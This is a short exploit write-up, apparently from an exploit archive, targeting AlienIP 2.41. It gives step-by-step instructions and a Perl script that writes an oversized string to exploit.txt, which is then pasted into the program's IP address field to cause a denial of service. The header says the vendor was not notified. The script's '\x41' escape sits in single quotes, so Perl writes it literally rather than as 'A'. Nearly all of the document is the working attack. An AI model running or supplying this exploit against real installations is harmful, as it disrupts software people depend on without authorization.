# Exploit Title: AlienIP 2.41 - Denial of Service - DoS
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage: http://www.armcode.com
# Notification vendor: No reported
# Tested on: Window 10 - English
# Vulnerability Type: Remote - Denial of Service (DoS)

# How do?
#1 - Run Perl script: perl 25-exploit-perl.pl
#2 - Open exploit.txt and copy content to clipboard
#3 - Open program
#4 - Paste clipboard on IP address or Country 
#5 - Click in Locate host and click "Enter"
#6 - Denied of Service

#!/usr/bin/perl

my $exploit = '\x41' x 5005;

    open(my $file, '>', 'exploit.txt') or die "Cannot open file: $!";
    print $file $exploit;
    close $file;

    print "exploit.txt created! \n";